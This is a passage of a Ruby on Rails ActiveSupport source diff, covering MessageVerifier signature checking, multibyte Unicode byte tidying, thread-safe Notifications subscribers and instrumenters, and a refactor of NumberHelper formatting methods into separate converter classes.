- @serializer.load(::Base64.decode64(data))
- else
- raise InvalidSignature
+ data.present? && digest.present? && ActiveSupport::SecurityUtils.secure_compare(digest, generate_digest(data))
+ end
+
+ # Decodes the signed message using the +MessageVerifier+'s secret.
+ #
+ # verifier = ActiveSupport::MessageVerifier.new 's3Krit'
+ #
+ # signed_message = verifier.generate 'a private message'
+ # verifier.verified(signed_message) # => 'a private message'
+ #
+ # Returns +nil+ if the message was not signed with the same secret.
+ #
+ # other_verifier = ActiveSupport::MessageVerifier.new 'd1ff3r3nt-s3Krit'
+ # other_verifier.verified(signed_message) # => nil
+ #
+ # Returns +nil+ if the message is not Base64-encoded.
+ #
+ # invalid_message = "f--46a0120593880c733a53b6dad75b42ddc1c8996d"
+ # verifier.verified(invalid_message) # => nil
+ #
+ # Raises any error raised while decoding the signed message.
+ #
+ # incompatible_message = "test--dad7b06c94abba8d46a15fafaef56c327665d5ff"
+ # verifier.verified(incompatible_message) # => TypeError: incompatible marshal file format
+ def verified(signed_message)
+ if valid_message?(signed_message)
+ begin
+ data = signed_message.split("--")[0]
+ @serializer.load(decode(data))
+ rescue ArgumentError => argument_error
+ return if argument_error.message =~ %r{invalid base64}
+ raise
+ end
end
end
+ # Decodes the signed message using the +MessageVerifier+'s secret.
+ #
+ # verifier = ActiveSupport::MessageVerifier.new 's3Krit'
+ # signed_message = verifier.generate 'a private message'
+ #
+ # verifier.verify(signed_message) # => 'a private message'
+ #
+ # Raises +InvalidSignature+ if the message was not signed with the same
+ # secret or was not Base64-encoded.
+ #
+ # other_verifier = ActiveSupport::MessageVerifier.new 'd1ff3r3nt-s3Krit'
+ # other_verifier.verified(signed_message) # => ActiveSupport::MessageVerifier::InvalidSignature
+ def verify(signed_message)
+ verified(signed_message) || raise(InvalidSignature)
+ end
+
+ # Generates a signed message for the provided value.
+ #
+ # The message is signed with the +MessageVerifier+'s secret. Without knowing
+ # the secret, the original value cannot be extracted from the message.
+ #
+ # verifier = ActiveSupport::MessageVerifier.new 's3Krit'
+ # verifier.generate 'a private message' # => "BAhJIhRwcml2YXRlLW1lc3NhZ2UGOgZFVA==--e2d724331ebdee96a10fb99b089508d1c72bd772"
def generate(value)
- data = ::Base64.strict_encode64(@serializer.dump(value))
+ data = encode(@serializer.dump(value))
"#{data}--#{generate_digest(data)}"
end
private
- # constant-time comparison algorithm to prevent timing attacks
- def secure_compare(a, b)
- return false unless a.bytesize == b.bytesize
-
- l = a.unpack "C#{a.bytesize}"
+ def encode(data)
+ ::Base64.strict_encode64(data)
+ end
- res = 0
- b.each_byte { |byte| res |= byte ^ l.shift }
- res == 0
+ def decode(data)
+ ::Base64.strict_decode64(data)
end
def generate_digest(data)
diff --git a/activesupport/lib/active_support/multibyte/chars.rb b/activesupport/lib/active_support/multibyte/chars.rb
index a42e7f6542..3c0cf9f137 100644
--- a/activesupport/lib/active_support/multibyte/chars.rb
+++ b/activesupport/lib/active_support/multibyte/chars.rb
@@ -56,11 +56,10 @@ module ActiveSupport #:nodoc:
# Forward all undefined methods to the wrapped string.
def method_missing(method, *args, &block)
+ result = @wrapped_string.__send__(method, *args, &block)
if method.to_s =~ /!$/
- result = @wrapped_string.__send__(method, *args, &block)
self if result
else
- result = @wrapped_string.__send__(method, *args, &block)
result.kind_of?(String) ? chars(result) : result
end
end
diff --git a/activesupport/lib/active_support/multibyte/unicode.rb b/activesupport/lib/active_support/multibyte/unicode.rb
index f49ca47f14..7ab6293b60 100644
--- a/activesupport/lib/active_support/multibyte/unicode.rb
+++ b/activesupport/lib/active_support/multibyte/unicode.rb
@@ -11,7 +11,7 @@ module ActiveSupport
NORMALIZATION_FORMS = [:c, :kc, :d, :kd]
# The Unicode version that is supported by the implementation
- UNICODE_VERSION = '6.1.0'
+ UNICODE_VERSION = '7.0.0'
# The default normalization used for operations that require
# normalization. It can be set to any of the normalizations
@@ -42,7 +42,6 @@ module ActiveSupport
0x0085, # White_Space # Cc <control-0085>
0x00A0, # White_Space # Zs NO-BREAK SPACE
0x1680, # White_Space # Zs OGHAM SPACE MARK
- 0x180E, # White_Space # Zs MONGOLIAN VOWEL SEPARATOR
(0x2000..0x200A).to_a, # White_Space # Zs [11] EN QUAD..HAIR SPACE
0x2028, # White_Space # Zl LINE SEPARATOR
0x2029, # White_Space # Zp PARAGRAPH SEPARATOR
@@ -145,7 +144,7 @@ module ActiveSupport
ncp << (HANGUL_TBASE + tindex) unless tindex == 0
decomposed.concat ncp
# if the codepoint is decomposable in with the current decomposition type
- elsif (ncp = database.codepoints[cp].decomp_mapping) and (!database.codepoints[cp].decomp_type || type == :compatability)
+ elsif (ncp = database.codepoints[cp].decomp_mapping) and (!database.codepoints[cp].decomp_type || type == :compatibility)
decomposed.concat decompose(type, ncp.dup)
else
decomposed << cp
@@ -212,57 +211,44 @@ module ActiveSupport
codepoints
end
- # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
- # resulting in a valid UTF-8 string.
- #
- # Passing +true+ will forcibly tidy all bytes, assuming that the string's
- # encoding is entirely CP1252 or ISO-8859-1.
- def tidy_bytes(string, force = false)
- if force
- return string.unpack("C*").map do |b|
- tidy_byte(b)
- end.flatten.compact.pack("C*").unpack("U*").pack("U*")
+ # Ruby >= 2.1 has String#scrub, which is faster than the workaround used for < 2.1.
+ # Rubinius' String#scrub, however, doesn't support ASCII-incompatible chars.
+ if '<3'.respond_to?(:scrub) && !defined?(Rubinius)
+ # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
+ # resulting in a valid UTF-8 string.
+ #
+ # Passing +true+ will forcibly tidy all bytes, assuming that the string's
+ # encoding is entirely CP1252 or ISO-8859-1.
+ def tidy_bytes(string, force = false)
+ return string if string.empty?
+ return recode_windows1252_chars(string) if force
+ string.scrub { |bad| recode_windows1252_chars(bad) }
end
+ else
+ def tidy_bytes(string, force = false)
+ return string if string.empty?
+ return recode_windows1252_chars(string) if force
+
+ # We can't transcode to the same format, so we choose a nearly-identical encoding.
+ # We're going to 'transcode' bytes from UTF-8 when possible, then fall back to
+ # CP1252 when we get errors. The final string will be 'converted' back to UTF-8
+ # before returning.
+ reader = Encoding::Converter.new(Encoding::UTF_8, Encoding::UTF_16LE)
+
+ source = string.dup
+ out = ''.force_encoding(Encoding::UTF_16LE)
+
+ loop do
+ reader.primitive_convert(source, out)
+ _, _, _, error_bytes, _ = reader.primitive_errinfo
+ break if error_bytes.nil?
+ out << error_bytes.encode(Encoding::UTF_16LE, Encoding::Windows_1252, invalid: :replace, undef: :replace)
+ end
- bytes = string.unpack("C*")
- conts_expected = 0
- last_lead = 0
-
- bytes.each_index do |i|
-
- byte = bytes[i]
- is_cont = byte > 127 && byte < 192
- is_lead = byte > 191 && byte < 245
- is_unused = byte > 240
- is_restricted = byte > 244
+ reader.finish
- # Impossible or highly unlikely byte? Clean it.
- if is_unused || is_restricted
- bytes[i] = tidy_byte(byte)
- elsif is_cont
- # Not expecting continuation byte? Clean up. Otherwise, now expect one less.
- conts_expected == 0 ? bytes[i] = tidy_byte(byte) : conts_expected -= 1
- else
- if conts_expected > 0
- # Expected continuation, but got ASCII or leading? Clean backwards up to
- # the leading byte.
- (1..(i - last_lead)).each {|j| bytes[i - j] = tidy_byte(bytes[i - j])}
- conts_expected = 0
- end
- if is_lead
- # Final byte is leading? Clean it.
- if i == bytes.length - 1
- bytes[i] = tidy_byte(bytes.last)
- else
- # Valid leading byte? Expect continuations determined by position of
- # first zero bit, with max of 3.
- conts_expected = byte < 224 ? 1 : byte < 240 ? 2 : 3
- last_lead = i
- end
- end
- end
+ out.encode!(Encoding::UTF_8)
end
- bytes.empty? ? "" : bytes.flatten.compact.pack("C*").unpack("U*").pack("U*")
end
# Returns the KC normalization of the string by default. NFKC is
@@ -283,9 +269,9 @@ module ActiveSupport
when :c
compose(reorder_characters(decompose(:canonical, codepoints)))
when :kd
- reorder_characters(decompose(:compatability, codepoints))
+ reorder_characters(decompose(:compatibility, codepoints))
when :kc
- compose(reorder_characters(decompose(:compatability, codepoints)))
+ compose(reorder_characters(decompose(:compatibility, codepoints)))
else
raise ArgumentError, "#{form} is not a valid normalization variant", caller
end.pack('U*')
@@ -307,6 +293,13 @@ module ActiveSupport
class Codepoint
attr_accessor :code, :combining_class, :decomp_type, :decomp_mapping, :uppercase_mapping, :lowercase_mapping
+ # Initializing Codepoint object with default values
+ def initialize
+ @combining_class = 0
+ @uppercase_mapping = 0
+ @lowercase_mapping = 0
+ end
+
def swapcase_mapping
uppercase_mapping > 0 ? uppercase_mapping : lowercase_mapping
end
@@ -342,7 +335,7 @@ module ActiveSupport
begin
@codepoints, @composition_exclusion, @composition_map, @boundary, @cp1252 = File.open(self.class.filename, 'rb') { |f| Marshal.load f.read }
rescue => e
- raise IOError.new("Couldn't load the Unicode tables for UTF8Handler (#{e.message}), ActiveSupport::Multibyte is unusable")
+ raise IOError.new("Couldn't load the Unicode tables for UTF8Handler (#{e.message}), ActiveSupport::Multibyte is unusable")
end
# Redefine the === method so we can write shorter rules for grapheme cluster breaks
@@ -374,6 +367,7 @@ module ActiveSupport
private
def apply_mapping(string, mapping) #:nodoc:
+ database.codepoints
string.each_codepoint.map do |codepoint|
cp = database.codepoints[codepoint]
if cp and (ncp = cp.send(mapping)) and ncp > 0
@@ -384,20 +378,13 @@ module ActiveSupport
end.pack('U*')
end
- def tidy_byte(byte)
- if byte < 160
- [database.cp1252[byte] || byte].pack("U").unpack("C*")
- elsif byte < 192
- [194, byte]
- else
- [195, byte - 64]
- end
+ def recode_windows1252_chars(string)
+ string.encode(Encoding::UTF_8, Encoding::Windows_1252, invalid: :replace, undef: :replace)
end
def database
@database ||= UnicodeDatabase.new
end
-
end
end
end
diff --git a/activesupport/lib/active_support/notifications.rb b/activesupport/lib/active_support/notifications.rb
index 705a4693b7..b9f8e1ab2c 100644
--- a/activesupport/lib/active_support/notifications.rb
+++ b/activesupport/lib/active_support/notifications.rb
@@ -1,5 +1,6 @@
require 'active_support/notifications/instrumenter'
require 'active_support/notifications/fanout'
+require 'active_support/per_thread_registry'
module ActiveSupport
# = Notifications
@@ -15,7 +16,7 @@ module ActiveSupport
# render text: 'Foo'
# end
#
- # That executes the block first and notifies all subscribers once done.
+ # That first executes the block and then notifies all subscribers once done.
#
# In the example above +render+ is the name of the event, and the rest is called
# the _payload_. The payload is a mechanism that allows instrumenters to pass
@@ -140,10 +141,15 @@ module ActiveSupport
#
# ActiveSupport::Notifications.unsubscribe(subscriber)
#
+ # You can also unsubscribe by passing the name of the subscriber object. Note
+ # that this will unsubscribe all subscriptions with the given name:
+ #
+ # ActiveSupport::Notifications.unsubscribe("render")
+ #
# == Default Queue
#
- # Notifications ships with a queue implementation that consumes and publish events
- # to log subscribers in a thread. You can use any queue implementation you want.
+ # Notifications ships with a queue implementation that consumes and publishes events
+ # to all log subscribers. You can use any queue implementation you want.
#
module Notifications
class << self
@@ -172,12 +178,32 @@ module ActiveSupport
unsubscribe(subscriber)
end
- def unsubscribe(args)
- notifier.unsubscribe(args)
+ def unsubscribe(subscriber_or_name)
+ notifier.unsubscribe(subscriber_or_name)
end
def instrumenter
- Thread.current[:"instrumentation_#{notifier.object_id}"] ||= Instrumenter.new(notifier)
+ InstrumentationRegistry.instance.instrumenter_for(notifier)
+ end
+ end
+
+ # This class is a registry which holds all of the +Instrumenter+ objects
+ # in a particular thread local. To access the +Instrumenter+ object for a
+ # particular +notifier+, you can call the following method:
+ #
+ # InstrumentationRegistry.instrumenter_for(notifier)
+ #
+ # The instrumenters for multiple notifiers are held in a single instance of
+ # this class.
+ class InstrumentationRegistry # :nodoc:
+ extend ActiveSupport::PerThreadRegistry
+
+ def initialize
+ @registry = {}
+ end
+
+ def instrumenter_for(notifier)
+ @registry[notifier] ||= Instrumenter.new(notifier)
end
end
diff --git a/activesupport/lib/active_support/notifications/fanout.rb b/activesupport/lib/active_support/notifications/fanout.rb
index 2e5bcf4639..6bf8c7d5de 100644
--- a/activesupport/lib/active_support/notifications/fanout.rb
+++ b/activesupport/lib/active_support/notifications/fanout.rb
@@ -1,4 +1,5 @@
require 'mutex_m'
+require 'thread_safe'
module ActiveSupport
module Notifications
@@ -11,7 +12,7 @@ module ActiveSupport
def initialize
@subscribers = []
- @listeners_for = {}
+ @listeners_for = ThreadSafe::Cache.new
super
end
@@ -24,9 +25,15 @@ module ActiveSupport
subscriber
end
- def unsubscribe(subscriber)
+ def unsubscribe(subscriber_or_name)
synchronize do
- @subscribers.reject! { |s| s.matches?(subscriber) }
+ case subscriber_or_name
+ when String
+ @subscribers.reject! { |s| s.matches?(subscriber_or_name) }
+ else
+ @subscribers.delete(subscriber_or_name)
+ end
+
@listeners_for.clear
end
end
@@ -44,7 +51,9 @@ module ActiveSupport
end
def listeners_for(name)
- synchronize do
+ # this is correctly done double-checked locking (ThreadSafe::Cache's lookups have volatile semantics)
+ @listeners_for[name] || synchronize do
+ # use synchronisation when accessing @subscribers
@listeners_for[name] ||= @subscribers.select { |s| s.subscribed_to?(name) }
end
end
@@ -76,6 +85,13 @@ module ActiveSupport
def initialize(pattern, delegate)
@pattern = pattern
@delegate = delegate
+ @can_publish = delegate.respond_to?(:publish)
+ end
+
+ def publish(name, *args)
+ if @can_publish
+ @delegate.publish name, *args
+ end
end
def start(name, id, payload)
@@ -87,31 +103,27 @@ module ActiveSupport
end
def subscribed_to?(name)
- @pattern === name.to_s
+ @pattern === name
end
- def matches?(subscriber_or_name)
- self === subscriber_or_name ||
- @pattern && @pattern === subscriber_or_name
+ def matches?(name)
+ @pattern && @pattern === name
end
end
class Timed < Evented
- def initialize(pattern, delegate)
- @timestack = []
- super
- end
-
def publish(name, *args)
@delegate.call name, *args
end
def start(name, id, payload)
- @timestack.push Time.now
+ timestack = Thread.current[:_timestack] ||= []
+ timestack.push Time.now
end
def finish(name, id, payload)
- started = @timestack.pop
+ timestack = Thread.current[:_timestack]
+ started = timestack.pop
@delegate.call(name, started, Time.now, id, payload)
end
end
diff --git a/activesupport/lib/active_support/notifications/instrumenter.rb b/activesupport/lib/active_support/notifications/instrumenter.rb
index ab0b162ee0..3a244b34b5 100644
--- a/activesupport/lib/active_support/notifications/instrumenter.rb
+++ b/activesupport/lib/active_support/notifications/instrumenter.rb
@@ -2,12 +2,12 @@ require 'securerandom'
module ActiveSupport
module Notifications
- # Instrumentors are stored in a thread local.
+ # Instrumenters are stored in a thread local.
class Instrumenter
attr_reader :id
def initialize(notifier)
- @id = unique_id
+ @id = unique_id
@notifier = notifier
end
@@ -15,21 +15,32 @@ module ActiveSupport
# and publish it. Notice that events get sent even if an error occurs
# in the passed-in block.
def instrument(name, payload={})
- @notifier.start(name, @id, payload)
+ start name, payload
begin
- yield
+ yield payload
rescue Exception => e
payload[:exception] = [e.class.name, e.message]
raise e
ensure
- @notifier.finish(name, @id, payload)
+ finish name, payload
end
end
+ # Send a start notification with +name+ and +payload+.
+ def start(name, payload)
+ @notifier.start name, @id, payload
+ end
+
+ # Send a finish notification with +name+ and +payload+.
+ def finish(name, payload)
+ @notifier.finish name, @id, payload
+ end
+
private
- def unique_id
- SecureRandom.hex(10)
- end
+
+ def unique_id
+ SecureRandom.hex(10)
+ end
end
class Event
@@ -43,10 +54,11 @@ module ActiveSupport
@transaction_id = transaction_id
@end = ending
@children = []
+ @duration = nil
end
def duration
- 1000.0 * (self.end - time)
+ @duration ||= 1000.0 * (self.end - time)
end
def <<(event)
diff --git a/activesupport/lib/active_support/number_helper.rb b/activesupport/lib/active_support/number_helper.rb
index 2191471daa..34439ee8be 100644
--- a/activesupport/lib/active_support/number_helper.rb
+++ b/activesupport/lib/active_support/number_helper.rb
@@ -1,115 +1,19 @@
-require 'active_support/core_ext/big_decimal/conversions'
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/hash/keys'
-require 'active_support/i18n'
-
module ActiveSupport
module NumberHelper
- extend self
-
- DEFAULTS = {
- # Used in number_to_delimited
- # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
- format: {
- # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
- separator: ".",
- # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
- delimiter: ",",
- # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
- precision: 3,
- # If set to true, precision will mean the number of significant digits instead
- # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
- significant: false,
- # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
- strip_insignificant_zeros: false
- },
-
- # Used in number_to_currency
- currency: {
- format: {
- format: "%u%n",
- negative_format: "-%u%n",
- unit: "$",
- # These five are to override number.format and are optional
- separator: ".",
- delimiter: ",",
- precision: 2,
- significant: false,
- strip_insignificant_zeros: false
- }
- },
-
- # Used in number_to_percentage
- percentage: {
- format: {
- delimiter: "",
- format: "%n%"
- }
- },
-
- # Used in number_to_rounded
- precision: {
- format: {
- delimiter: ""
- }
- },
-
- # Used in number_to_human_size and number_to_human
- human: {
- format: {
- # These five are to override number.format and are optional
- delimiter: "",
- precision: 3,
- significant: true,
- strip_insignificant_zeros: true
- },
- # Used in number_to_human_size
- storage_units: {
- # Storage units output formatting.
- # %u is the storage unit, %n is the number (default: 2 MB)
- format: "%n %u",
- units: {
- byte: "Bytes",
- kb: "KB",
- mb: "MB",
- gb: "GB",
- tb: "TB"
- }
- },
- # Used in number_to_human
- decimal_units: {
- format: "%n %u",
- # Decimal units output formatting
- # By default we will only quantify some of the exponents
- # but the commented ones might be defined or overridden
- # by the user.
- units: {
- # femto: Quadrillionth
- # pico: Trillionth
- # nano: Billionth
- # micro: Millionth
- # mili: Thousandth
- # centi: Hundredth
- # deci: Tenth
- unit: "",
- # ten:
- # one: Ten
- # other: Tens
- # hundred: Hundred
- thousand: "Thousand",
- million: "Million",
- billion: "Billion",
- trillion: "Trillion",
- quadrillion: "Quadrillion"
- }
- }
- }
- }
-
- DECIMAL_UNITS = { 0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
- -1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto }
+ extend ActiveSupport::Autoload
+
+ eager_autoload do
+ autoload :NumberConverter
+ autoload :NumberToRoundedConverter
+ autoload :NumberToDelimitedConverter
+ autoload :NumberToHumanConverter
+ autoload :NumberToHumanSizeConverter
+ autoload :NumberToPhoneConverter
+ autoload :NumberToCurrencyConverter
+ autoload :NumberToPercentageConverter
+ end
- STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb]
+ extend self
# Formats a +number+ into a US phone number (e.g., (555)
# 123-9876). You can customize the format in the +options+ hash.
@@ -137,27 +41,7 @@ module ActiveSupport
# number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: '.')
# # => +1.123.555.1234 x 1343
def number_to_phone(number, options = {})
- return unless number
- options = options.symbolize_keys
-
- number = number.to_s.strip
- area_code = options[:area_code]
- delimiter = options[:delimiter] || "-"
- extension = options[:extension]
- country_code = options[:country_code]
-
- if area_code
- number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
- else
- number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
- number.slice!(0, 1) if number.start_with?(delimiter) && !delimiter.blank?
- end
-
- str = ''
- str << "+#{country_code}#{delimiter}" unless country_code.blank?
- str << number
- str << " x #{extension}" unless extension.blank?
- str
+ NumberToPhoneConverter.convert(number, options)
end
# Formats a +number+ into a currency string (e.g., $13.65). You
@@ -199,25 +83,7 @@ module ActiveSupport
# number_to_currency(1234567890.50, unit: '&pound;', separator: ',', delimiter: '', format: '%n %u')
# # => 1234567890,50 &pound;
def number_to_currency(number, options = {})
- return unless number
- options = options.symbolize_keys
-
- currency = i18n_format_options(options[:locale], :currency)
- currency[:negative_format] ||= "-" + currency[:format] if currency[:format]
-
- defaults = default_format_options(:currency).merge!(currency)
- defaults[:negative_format] = "-" + options[:format] if options[:format]
- options = defaults.merge!(options)
-
- unit = options.delete(:unit)
- format = options.delete(:format)
-
- if number.to_f.phase != 0
- format = options.delete(:negative_format)
- number = number.respond_to?("abs") ? number.abs : number.sub(/^-/, '')
- end
-
- format.gsub('%n', self.number_to_rounded(number, options)).gsub('%u', unit)
+ NumberToCurrencyConverter.convert(number, options)
end
# Formats a +number+ as a percentage string (e.g., 65%). You can
@@ -244,23 +110,16 @@ module ActiveSupport
#
# ==== Examples
#
- # number_to_percentage(100) # => 100.000%
- # number_to_percentage('98') # => 98.000%
- # number_to_percentage(100, precision: 0) # => 100%
- # number_to_percentage(1000, delimiter: '.', separator: ,') # => 1.000,000%
- # number_to_percentage(302.24398923423, precision: 5) # => 302.24399%
- # number_to_percentage(1000, locale: :fr) # => 1 000,000%
- # number_to_percentage('98a') # => 98a%
- # number_to_percentage(100, format: '%n %') # => 100 %
+ # number_to_percentage(100) # => 100.000%
+ # number_to_percentage('98') # => 98.000%
+ # number_to_percentage(100, precision: 0) # => 100%
+ # number_to_percentage(1000, delimiter: '.', separator: ',') # => 1.000,000%
+ # number_to_percentage(302.24398923423, precision: 5) # => 302.24399%
+ # number_to_percentage(1000, locale: :fr) # => 1 000,000%
+ # number_to_percentage('98a') # => 98a%
+ # number_to_percentage(100, format: '%n %') # => 100 %
def number_to_percentage(number, options = {})
- return unless number
- options = options.symbolize_keys
-
- defaults = format_options(options[:locale], :percentage)
- options = defaults.merge!(options)
-
- format = options[:format] || "%n%"
- format.gsub('%n', self.number_to_rounded(number, options))
+ NumberToPercentageConverter.convert(number, options)
end
# Formats a +number+ with grouped thousands using +delimiter+
@@ -289,15 +148,7 @@ module ActiveSupport
# number_to_delimited(98765432.98, delimiter: ' ', separator: ',')
# # => 98 765 432,98
def number_to_delimited(number, options = {})
- options = options.symbolize_keys
-
- return number unless valid_float?(number)
-
- options = format_options(options[:locale]).merge!(options)
-
- parts = number.to_s.to_str.split('.')
- parts[0].gsub!(/(\d)(?=(\d\d\d)+(?!\d))/, "\\1#{options[:delimiter]}")
- parts.join(options[:separator])
+ NumberToDelimitedConverter.convert(number, options)
end
# Formats a +number+ with the specified level of
@@ -340,38 +191,7 @@ module ActiveSupport
# number_to_rounded(1111.2345, precision: 2, separator: ',', delimiter: '.')
# # => 1.111,23
def number_to_rounded(number, options = {})
- return number unless valid_float?(number)
- number = Float(number)
- options = options.symbolize_keys
-
- defaults = format_options(options[:locale], :precision)
- options = defaults.merge!(options)
-
- precision = options.delete :precision
- significant = options.delete :significant
- strip_insignificant_zeros = options.delete :strip_insignificant_zeros
-
- if significant && precision > 0
- if number == 0
- digits, rounded_number = 1, 0
- else
- digits = (Math.log10(number.abs) + 1).floor
- rounded_number = (BigDecimal.new(number.to_s) / BigDecimal.new((10 ** (digits - precision)).to_f.to_s)).round.to_f * 10 ** (digits - precision)
- digits = (Math.log10(rounded_number.abs) + 1).floor # After rounding, the number of digits may have changed
- end
- precision -= digits
- precision = 0 if precision < 0 # don't let it be negative
- else
- rounded_number = BigDecimal.new(number.to_s).round(precision).to_f
- rounded_number = rounded_number.abs if rounded_number.zero? # prevent showing negative zeros
- end
- formatted_number = self.number_to_delimited("%01.#{precision}f" % rounded_number, options)
- if strip_insignificant_zeros
- escaped_separator = Regexp.escape(options[:separator])
- formatted_number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '')
- else
- formatted_number
- end
+ NumberToRoundedConverter.convert(number, options)
end
# Formats the bytes in +number+ into a more understandable
@@ -412,43 +232,10 @@ module ActiveSupport
# number_to_human_size(1234567, precision: 2) # => 1.2 MB
# number_to_human_size(483989, precision: 2) # => 470 KB
# number_to_human_size(1234567, precision: 2, separator: ',') # => 1,2 MB
- #
- # Non-significant zeros after the fractional separator are stripped out by
- # default (set <tt>:strip_insignificant_zeros</tt> to +false+ to change that):
- #
- # number_to_human_size(1234567890123, precision: 5) # => "1.1229 TB"
- # number_to_human_size(524288000, precision: 5) # => "500 MB"
+ # number_to_human_size(1234567890123, precision: 5) # => "1.1228 TB"
+ # number_to_human_size(524288000, precision: 5) # => "500 MB"
def number_to_human_size(number, options = {})
- options = options.symbolize_keys
-
- return number unless valid_float?(number)
- number = Float(number)
-
- defaults = format_options(options[:locale], :human)
- options = defaults.merge!(options)
-
- #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
- options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
-
- storage_units_format = translate_number_value_with_default('human.storage_units.format', :locale => options[:locale], :raise => true)
-
- base = options[:prefix] == :si ? 1000 : 1024
-
- if number.to_i < base
- unit = translate_number_value_with_default('human.storage_units.units.byte', :locale => options[:locale], :count => number.to_i, :raise => true)
- storage_units_format.gsub(/%n/, number.to_i.to_s).gsub(/%u/, unit)
- else
- max_exp = STORAGE_UNITS.size - 1
- exponent = (Math.log(number) / Math.log(base)).to_i # Convert to base
- exponent = max_exp if exponent > max_exp # we need this to avoid overflow for the highest unit
- number /= base ** exponent
-
- unit_key = STORAGE_UNITS[exponent]
- unit = translate_number_value_with_default("human.storage_units.units.#{unit_key}", :locale => options[:locale], :count => number, :raise => true)
-
- formatted_number = self.number_to_rounded(number, options)
- storage_units_format.gsub(/%n/, formatted_number).gsub(/%u/, unit)
- end
+ NumberToHumanSizeConverter.convert(number, options)
end
# Pretty prints (formats and approximates) a number in a way it
@@ -459,7 +246,7 @@ module ActiveSupport
# See <tt>number_to_human_size</tt> if you want to print a file
# size.
#
- # You can also define you own unit-quantifier names if you want
+ # You can also define your own unit-quantifier names if you want
# to use other decimal units (eg.: 1500 becomes "1.5
# kilometers", 0.150 becomes "150 milliliters", etc). You may
# define a wide range of unit quantifiers, even fractional ones
@@ -485,12 +272,12 @@ module ActiveSupport
# string containing an i18n scope where to find this hash. It
# might have the following keys:
# * *integers*: <tt>:unit</tt>, <tt>:ten</tt>,
- # *<tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
- # *<tt>:billion</tt>, <tt>:trillion</tt>,
- # *<tt>:quadrillion</tt>
+ # <tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
+ # <tt>:billion</tt>, <tt>:trillion</tt>,
+ # <tt>:quadrillion</tt>
# * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>,
- # *<tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
- # *<tt>:pico</tt>, <tt>:femto</tt>
+ # <tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
+ # <tt>:pico</tt>, <tt>:femto</tt>
# * <tt>:format</tt> - Sets the format of the output string
# (defaults to "%n %u"). The field types are:
# * %u - The quantifier (ex.: 'thousand')
@@ -514,12 +301,15 @@ module ActiveSupport
# separator: ',',
# significant: false) # => "1,2 Million"
#
+ # number_to_human(500000000, precision: 5) # => "500 Million"
+ # number_to_human(12345012345, significant: false) # => "12.345 Billion"
+ #
# Non-significant zeros after the decimal separator are stripped
# out by default (set <tt>:strip_insignificant_zeros</tt> to
# +false+ to change that):
#
- # number_to_human(12345012345, significant_digits: 6) # => "12.345 Billion"
- # number_to_human(500000000, precision: 5) # => "500 Million"
+ # number_to_human(12.00001) # => "12"
+ # number_to_human(12.00001, strip_insignificant_zeros: false) # => "12.0"
#
# ==== Custom Unit Quantifiers
#
@@ -549,88 +339,7 @@ module ActiveSupport
# number_to_human(1, units: :distance) # => "1 meter"
# number_to_human(0.34, units: :distance) # => "34 centimeters"
def number_to_human(number, options = {})
- options = options.symbolize_keys
-
- return number unless valid_float?(number)
- number = Float(number)
-
- defaults = format_options(options[:locale], :human)
- options = defaults.merge!(options)
-
- #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
- options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
-
- inverted_du = DECIMAL_UNITS.invert
-
- units = options.delete :units
- unit_exponents = case units
- when Hash
- units
- when String, Symbol
- I18n.translate(:"#{units}", :locale => options[:locale], :raise => true)
- when nil
- translate_number_value_with_default("human.decimal_units.units", :locale => options[:locale], :raise => true)
- else
- raise ArgumentError, ":units must be a Hash or String translation scope."
- end.keys.map{|e_name| inverted_du[e_name] }.sort_by{|e| -e}
-
- number_exponent = number != 0 ? Math.log10(number.abs).floor : 0
- display_exponent = unit_exponents.find{ |e| number_exponent >= e } || 0
- number /= 10 ** display_exponent
-
- unit = case units
- when Hash
- units[DECIMAL_UNITS[display_exponent]]
- when String, Symbol
- I18n.translate(:"#{units}.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
- else
- translate_number_value_with_default("human.decimal_units.units.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
- end
-
- decimal_format = options[:format] || translate_number_value_with_default('human.decimal_units.format', :locale => options[:locale])
- formatted_number = self.number_to_rounded(number, options)
- decimal_format.gsub(/%n/, formatted_number).gsub(/%u/, unit).strip
- end
-
- def self.private_module_and_instance_method(method_name) #:nodoc:
- private method_name
- private_class_method method_name
- end
- private_class_method :private_module_and_instance_method
-
- def format_options(locale, namespace = nil) #:nodoc:
- default_format_options(namespace).merge!(i18n_format_options(locale, namespace))
- end
- private_module_and_instance_method :format_options
-
- def default_format_options(namespace = nil) #:nodoc:
- options = DEFAULTS[:format].dup
- options.merge!(DEFAULTS[namespace][:format]) if namespace
- options
- end
- private_module_and_instance_method :default_format_options
-
- def i18n_format_options(locale, namespace = nil) #:nodoc:
- options = I18n.translate(:'number.format', locale: locale, default: {}).dup
- if namespace
- options.merge!(I18n.translate(:"number.#{namespace}.format", locale: locale, default: {}))
